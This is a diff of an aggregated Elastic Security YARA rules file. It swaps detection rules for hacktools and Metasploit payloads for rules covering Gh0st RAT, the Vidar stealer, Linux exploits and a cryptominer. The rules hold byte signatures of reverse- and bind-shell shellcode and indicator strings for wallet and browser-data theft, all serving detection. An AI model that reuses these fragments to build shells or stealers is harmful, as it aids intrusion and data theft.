-		$a = { 55 8B EC 83 EC 14 83 7D 08 00 53 8B D8 74 50 56 57 8B 7D 0C 6A 10 2B FB 5E 56 8D 45 EC 53 50 ?? ?? ?? ?? ?? 83 C4 0C 90 8B 4D 10 8B C3 2B CB 89 75 FC 8A 14 07 32 10 88 14 01 40 FF 4D FC 75 F2 }
+		$a1 = "All your files are encrypted on all devices across the network"
+		$a2 = "process with pid %d is blocking %s, going to kill it"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Gmer_8Aabdd5E : FILE
+rule ELASTIC_Linux_Exploit_Pulse_2Bea17E8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Gmer (Windows.Hacktool.Gmer)"
+		description = "Detects Linux Exploit Pulse (Linux.Exploit.Pulse)"
 		author = "Elastic Security"
-		id = "8aabdd5e-1ce7-4257-abaa-8d02dc6856a6"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "2bea17e8-2324-4502-9ced-7a45d94099ec"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Gmer.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7"
-		logic_hash = "acdab89a7703a743927cec60fbc84af2fd469403bee6f211c865fb96e9c92498"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Pulse.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c29cb4c2d83127cf4731573a7fac531f90f27799857f5e250b9f71362108f559"
+		logic_hash = "bc71efa6cc79171666d89fe3e755411ee8032f56ae5bd73e0de440eee5b718ab"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "960721d4d111a670907fe7d3ce01dfd134ad03a2d8440a945c75a7d46de46238"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "4d57fb355e7d68ad3da26ff3bade291ebbfa8df5f0727579787e33ebee888d41"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\gmer64.pdb"
+		$a = { 89 E5 48 8D 45 F8 48 89 45 F8 48 8B 45 F8 48 25 00 F0 FF FF 48 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Leigod_89397Ebf : FILE
+rule ELASTIC_Linux_Exploit_Pulse_246E6F31 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Leigod (Windows.Hacktool.LeiGod)"
+		description = "Detects Linux Exploit Pulse (Linux.Exploit.Pulse)"
 		author = "Elastic Security"
-		id = "89397ebf-2fdb-4607-85a1-b9c378b4e256"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "246e6f31-fcfb-474e-9709-a5d7ea6586fd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_LeiGod.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ae5cc99f3c61c86c7624b064fd188262e0160645c1676d231516bf4e716a22d3"
-		logic_hash = "e887c34c624a182a3c57a55abe02784c4350d3956bcfd9f7918f08a464819e63"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Pulse.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c29cb4c2d83127cf4731573a7fac531f90f27799857f5e250b9f71362108f559"
+		logic_hash = "f6755f10863b78303899cefcd81f609884fbbf2dffabd9219686ed869f2cc7e3"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "04709d703cd0a062029a05baee160eb9579fe0503984f3059ce49e1bcfa6e963"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "e98007a2fa62576e1847cf350283f60f1e4e49585574601ab44b304f391240db"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\Device\\CtrlLeiGod" wide fullword
+		$a = { 48 8D 45 F8 48 89 45 F8 48 8B 45 F8 48 25 00 E0 FF FF 48 8B 00 48 89 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Leigod_3F5C98C4 : FILE
+rule ELASTIC_Windows_Trojan_Gh0St_Ee6De6Bc : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Leigod (Windows.Hacktool.LeiGod)"
+		description = "Identifies a variant of Gh0st Rat"
 		author = "Elastic Security"
-		id = "3f5c98c4-03ba-4919-90b0-604d3cb9361e"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "ee6de6bc-1648-4a77-9607-e2a211c7bda4"
+		date = "2021-06-10"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_LeiGod.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0c42fe45ffa9a9c36c87a7f01510a077da6340ffd86bf8509f02c6939da133c5"
-		logic_hash = "7570bf1a69df6b493bde41c1de27969e36a3fcb59be574ee2e24e3a61347a146"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Gh0st.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ea1dc816dfc87c2340a8b8a77a4f97618bccf19ad3b006dce4994be02e13245d"
+		logic_hash = "3619df974c9f4ec76899afbafdfd6839070714862c7361be476cf8f83e766e2f"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "883dcad7097ad5713c4f45ce2fc232c3c1e61cf9dfdc81a194124d5995a64c9e"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "3c529043f34ad8a8692b051ad7c03206ce1aafc3a0eb8fcf7f5bcfdcb8c1b455"
+		threat_name = "Windows.Trojan.Gh0st"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\LgDCatcher.pdb"
+		$a1 = ":]%d-%d-%d  %d:%d:%d" ascii fullword
+		$a2 = "[Pause Break]" ascii fullword
+		$a3 = "f-secure.exe" ascii fullword
+		$a4 = "Accept-Language: zh-cn" ascii fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpsccm_9Bef8Dab : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Stak_05088561 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpsccm (Windows.Hacktool.SharpSCCM)"
+		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
 		author = "Elastic Security"
-		id = "9bef8dab-af2e-46be-811a-0ac78d74a4ef"
-		date = "2024-03-25"
-		modified = "2024-05-08"
+		id = "05088561-ec73-4068-a7f3-3eff612ecd28"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpSCCM.yar#L1-L31"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2e169c4fd16627029445bb0365a2f9ee61ab6b3757b8ad02fd210ce85dc9c97f"
-		logic_hash = "560c780934a63b3c857a09841c09cbc350205868c696fac958e249e1379cc865"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Stak.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d0d2bab33076121cf6a0a2c4ff1738759464a09ae4771c39442a865a76daff59"
+		logic_hash = "2b0f8a4efdfb13abcc2a1b43e9c39828ea1de6015fef0ef613bd754da5aa3e9a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dfbb7f142628eb7dc6c96dd271562d88a0970534af85464c10232ec01f58e35b"
+		fingerprint = "dfcfa99a2924eb9e8bc0e7b51db6d1b633e742e34add40dc5d1bb90375f85f6e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$name = "SharpSCCM" wide fullword
-		$s1 = "--relay-server" wide fullword
-		$s2 = "--username" wide fullword
-		$s3 = "--domain" wide fullword
-		$s4 = "--sms-provider" wide fullword
-		$s5 = "--wmi-namespace" wide fullword
-		$s6 = "--management-point" wide fullword
-		$s7 = "--get-system" wide fullword
-		$s8 = "--run-as-user" wide fullword
-		$s9 = "--register-client" wide fullword
-		$s10 = "MS_Collection" wide fullword
-		$s11 = "SOFTWARE\\Microsoft\\CCM" wide fullword
-		$s12 = "CCM_POST" wide fullword
+		$a = { CD 49 8D 4D 07 48 83 E1 F8 48 39 CD 73 55 49 8B 06 48 8B 50 08 48 8D }
 
 	condition:
-		($name and 2 of ($s*)) or 7 of ($s*)
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Mech_D30Ec0A0 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Stak_Ae8B98A9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mech (Linux.Trojan.Mech)"
+		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
 		author = "Elastic Security"
-		id = "d30ec0a0-3fd6-4d83-ad29-9d45704bc8ce"
-		date = "2021-04-06"
+		id = "ae8b98a9-cc25-4606-a775-1129e0f08c3b"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mech.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "710d1a0a8c7eecc6d793933c8a97cec66d284b3687efee7655a2dc31d15c0593"
-		logic_hash = "268aeb25d6468412d8123bab5eb2c8bd7704828d0ef3c3d771aa036e374127d7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Stak.yar#L21-L38"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "aade76488aa2f557de9082647153cca374a4819cd8e539ebba4bfef2334221b0"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "061e9f1aade510132674d87ab5981e5b6b0ae3a2782a97d8cc6c2be7b26c6454"
+		fingerprint = "0b5da501c97f53ecd79d708d898d4f5baae3c5fd80a4c39b891a952c0bcc86e5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -63836,58 +68014,57 @@ rule ELASTIC_Linux_Trojan_Mech_D30Ec0A0 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 6E 63 20 2D 20 4C 69 6E 75 78 20 32 2E 32 2E 31 }
+		$a = { D1 73 5A 49 8B 06 48 8B 78 08 4C 8B 10 4C 8D 4F 18 4D 89 CB 49 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Speedfan_9B590Eee : FILE
+rule ELASTIC_Linux_Cryptominer_Stak_D707Fd3A : FILE MEMORY
 {
 	meta:
-		description = "Subject: Sokno S.R.L."
+		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
 		author = "Elastic Security"
-		id = "9b590eee-5938-4293-afac-c9e730753413"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "d707fd3a-41ce-4f88-ad42-d663094db5fb"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Speedfan.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c"
-		logic_hash = "6f75c0e6b89dd1ceb85c73b7e51fd261ca2804e14a5f8ed6ce3352b3f1bcdfe4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Stak.yar#L40-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d0d2bab33076121cf6a0a2c4ff1738759464a09ae4771c39442a865a76daff59"
+		logic_hash = "b825247372aace6e3ce0ff1d9685b6bb041b7277f8967d5f5926b49813cfadc9"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "c58a8c3bfa710896c35262cc880b9afbadcdfdd73d9969c707e7b5b64e6a70b5"
-		threat_name = "Windows.VulnDriver.Speedfan"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "c218a3c637f58a6e0dc2aa774eb681757c94e1d34f622b4ee5520985b893f631"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$subject_name = { 06 03 55 04 03 [2] 53 6F 6B 6E 6F 20 53 2E 52 2E 4C 2E }
+		$a = { C2 01 48 89 10 49 8B 55 00 48 8B 02 48 8B 4A 10 48 39 C8 74 9E 80 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_69E20012 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Stak_52Dc7Af3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Metasploit (Linux.Trojan.Metasploit)"
+		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
 		author = "Elastic Security"
-		id = "69e20012-4f5d-42ce-9913-8bf793d2a695"
-		date = "2024-05-03"
-		modified = "2024-05-21"
+		id = "52dc7af3-a742-4307-a5ae-c929fede1cc4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "debb5d12c1b876f47a0057aad19b897c21f17de7b02c0e42f4cce478970f0120"
-		logic_hash = "5d3c3e3ba7d5d0c20d2fa1a53032da9a93a6727dcd6cb3497bb7bfb8272e4f2b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Stak.yar#L60-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a9c14b51f95d0c368bf90fb10e7d821a2fbcc79df32fd9f068a7fc053cbd7e83"
+		logic_hash = "81998164f517b6f1ef72b10227cfff86aa8bbd2b4e2668f946c8ed59696ae74d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "263efec478e54c025ed35bba18a0678ceba36c90f42ccca825f2ba1202e58248"
+		fingerprint = "330262703d3fcdd8b2c217db552f07e19f5df4d6bf115bfa291bb1c7f802ad97"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -63895,255 +68072,241 @@ rule ELASTIC_Linux_Trojan_Metasploit_69E20012 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$mmap = { 31 FF 6A 09 58 99 B6 10 48 89 D6 4D 31 C9 6A 22 41 5A 6A 07 5A 0F 05 48 85 C0 78 }
-		$socket = { 41 59 50 6A 29 58 99 6A 02 5F 6A 01 5E [0-6] 0F 05 48 85 C0 78 }
-		$connect = { 51 48 89 E6 6A 10 5A 6A 2A 58 0F 05 59 48 85 C0 79 }
-		$failure_handler = { 57 6A 23 58 6A 00 6A 05 48 89 E7 48 31 F6 0F 05 59 59 5F 48 85 C0 79 }
-		$exit = { 6A 3C 58 6A 01 5F 0F 05 }
-		$receive = { 5A 0F 05 48 85 C0 78 }
+		$a = { F9 48 89 D3 4D 8B 74 24 20 48 8D 41 01 4C 29 FB 4C 8D 6B 10 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_0C629849 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Stak_Bb3153Ac : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Metasploit (Linux.Trojan.Metasploit)"
+		description = "Detects Linux Cryptominer Stak (Linux.Cryptominer.Stak)"
 		author = "Elastic Security"
-		id = "0c629849-8127-4fec-a225-da29bf41435e"
-		date = "2024-05-03"
-		modified = "2024-05-21"
+		id = "bb3153ac-b11b-4e84-afab-05dab61424ae"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L26-L48"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ad070542729f3c80d6a981b351095ab8ac836b89a5c788dff367760a2d8b1dbb"
-		logic_hash = "2bea8f569728ba81af4024bf062a06a5c91b1f057a0b62fe6d51b6fcadedf58c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Stak.yar#L80-L98"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b974b6e6a239bcdc067c53cc8a6180c900052d7874075244dc49aaaa9414cca"
+		logic_hash = "e8516a24358b12863fe52c823ca67f0004457017334fe77dabf5f08d6bf2d907"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "3e98ffa46e438421056bf4424382baa6fbe30e5fc16dbd227bceb834873dbe41"
+		fingerprint = "c4c33125a1fad9ff393138b333a8cebfd67217e90780c45f73f660ed1fd02753"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
-	strings:
-		$socket_call = { 6A 29 58 6A 0A 5F 6A 01 5E 31 D2 0F 05 50 5F }
-		$populate_sockaddr_in6 = { 99 52 52 52 66 68 }
-		$calls = { 6A 31 58 6A 1C 5A 0F 05 6A 32 58 6A 01 5E 0F 05 6A 2B 58 99 52 52 54 5E 6A 1C 48 8D 14 24 0F 05 }
-		$dup2 = { 48 97 6A 03 5E 6A 21 58 FF CE 0F 05 E0 F7 }
-		$exec_call = { 6A 3B 58 99 48 BB 2F 62 69 6E 2F 73 68 00 53 54 5F 0F 05 }
-
+	strings:
+		$a = { 6C 77 61 79 73 22 2C 20 22 6E 6F 5F 6D 6C 63 6B 22 2C 20 22 }
+
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_849Cc5D5 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Vidar_9007Feb2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Metasploit (Linux.Trojan.Metasploit)"
+		description = "Detects Windows Trojan Vidar (Windows.Trojan.Vidar)"
 		author = "Elastic Security"
-		id = "849cc5d5-737a-4ea4-9bb6-cec26b132ff2"
-		date = "2024-05-03"
-		modified = "2024-05-21"
+		id = "9007feb2-6ad1-47b6-bae2-3379d114e4f1"
+		date = "2021-06-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L50-L71"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "42d734dbd33295bd68e5a545a29303a2104a5a92e5fee31d645e2a6410cc03e9"
-		logic_hash = "01c708b1e000aecf473e0a1cf23f3812a337b9b21f5b81f7a5e481d06fdaeb16"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Vidar.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec"
+		logic_hash = "fcdef7397f17ee402155e526c6fa8b51f3ea96e203a095b0b4c36cb7d3cc83d1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "859638998983b9dc0cffc204985b2c4db8a4fb2a97ff4e791fd6762ff6b1f5da"
+		fingerprint = "8416b14346f833264e32c63253ea0b0fe28e5244302b2e1b266749c543980fe2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$init1 = { 6A 29 58 99 6A 02 5F 6A 01 5E 0F 05 48 97 }
-		$init2 = { 6A 10 5A 6A ?? 58 0F }
-		$shell1 = { 6A 03 5E 48 FF CE 6A 21 58 0F 05 75 F6 6A 3B 58 99 48 BB 2F 62 69 6E 2F 73 68 00 53 48 89 E7 52 57 48 89 E6 0F 05 }
-		$shell2 = { 48 96 6A 2B 58 0F 05 50 56 5F 6A 09 58 99 B6 10 48 89 D6 4D 31 C9 6A 22 41 5A B2 07 0F 05 48 96 48 97 5F 0F 05 FF E6 }
+		$a = { E8 53 FF D6 50 FF D7 8B 45 F0 8D 48 01 8A 10 40 3A D3 75 F9 }
 
 	condition:
-		all of ($init*) and 1 of ($shell*)
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_Da378432 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Vidar_114258D5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Metasploit (Linux.Trojan.Metasploit)"
+		description = "Detects Windows Trojan Vidar (Windows.Trojan.Vidar)"
 		author = "Elastic Security"
-		id = "da378432-d549-4ba8-9e33-a0d0656fc032"
-		date = "2024-05-03"
-		modified = "2024-05-21"
+		id = "114258d5-f05e-46ac-914b-1a7f338ccf58"
+		date = "2021-06-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L73-L93"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "277499da700e0dbe27269c7cfb1fc385313c4483912a9a3f0c15adba33ecd0bf"
-		logic_hash = "cd9df6dff23986d61176e4d3440516b0590abdeebef0e456d1f4924724556fe9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Vidar.yar#L21-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec"
+		logic_hash = "9ea3ea0533d14edd0332fa688497efd566a890d1507214fc8591a0a11433d060"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "db6e226c18211d845c3495bb39472646e64842d4e4dd02d9aad29178fd22ea95"
+		fingerprint = "9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$str1 = { 6A 29 58 99 6A 02 5F 6A 01 5E 0F 05 48 97 }
-		$str2 = { 6A 10 5A 6A ?? 58 0F }
-		$str3 = { 6A 03 5E 48 FF CE 6A 21 58 0F 05 75 F6 6A 3B 58 99 48 BB 2F 62 69 6E 2F 73 68 00 53 48 89 E7 52 57 48 89 E6 0F 05 }
+		$a1 = "BinanceChainWallet" fullword
+		$a2 = "*wallet*.dat" fullword
+		$a3 = "SOFTWARE\\monero-project\\monero-core" fullword
+		$b1 = "CC\\%s_%s.txt" fullword
+		$b2 = "History\\%s_%s.txt" fullword
+		$b3 = "Autofill\\%s_%s.txt" fullword
 
 	condition:
-		all of them
+		1 of ($a*) and 1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Metasploit_B957E45D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Vidar_32Fea8Da : FILE MEMORY
 {
 	meta:
-		description = "Detects x86 msfvenom nonx TCP reverse shells"
+		description = "Detects Windows Trojan Vidar (Windows.Trojan.Vidar)"
 		author = "Elastic Security"
-		id = "b957e45d-0eb6-4580-af84-98608bbc34ef"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "32fea8da-b381-459c-8bf4-696388b8edcc"
+		date = "2023-05-04"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L95-L115"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "78af84bad4934283024f4bf72dfbf9cc081d2b92a9de32cc36e1289131c783ab"
-		logic_hash = "27281303d007e6723308e88f335f52723b3ff0ef733d1a0712f5ba268e53a073"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Vidar.yar#L46-L66"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6f5c24fc5af2085233c96159402cec9128100c221cb6cb0d1c005ced7225e211"
+		logic_hash = "1a18cdc3bd533c34eb05b239830ecec418dc76ee9f4fcfc48afc73b07d55b3cd"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "ac71352e2b4c8ee8917b1469cd33e6b54eb4cdcd96f02414465127c5cad6b710"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "ebcced7b2924cc9cfe9ed5b5f84a8959e866a984f2b5b6e1ec5b1dd096960325"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$str1 = { 31 DB 53 43 53 6A 02 6A 66 58 89 E1 CD 80 97 5B }
-		$str2 = { 66 53 89 E1 6A 66 58 50 51 57 89 E1 43 CD 80 5B 99 B6 0C B0 03 CD 80 }
+		$a1 = { 4F 4B 58 20 57 65 62 33 20 57 61 6C 6C 65 74 }
+		$a2 = { 8B E5 5D C3 5E B8 03 00 00 00 5B 8B E5 5D C3 5E B8 08 00 00 }
+		$a3 = { 83 79 04 00 8B DE 74 08 8B 19 85 DB 74 62 03 D8 8B 03 85 C0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_1A98F2E2 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Asrock_986D2D3C : FILE
 {
 	meta:
-		description = "Detects x86 msfvenom nonx TCP bind shells"
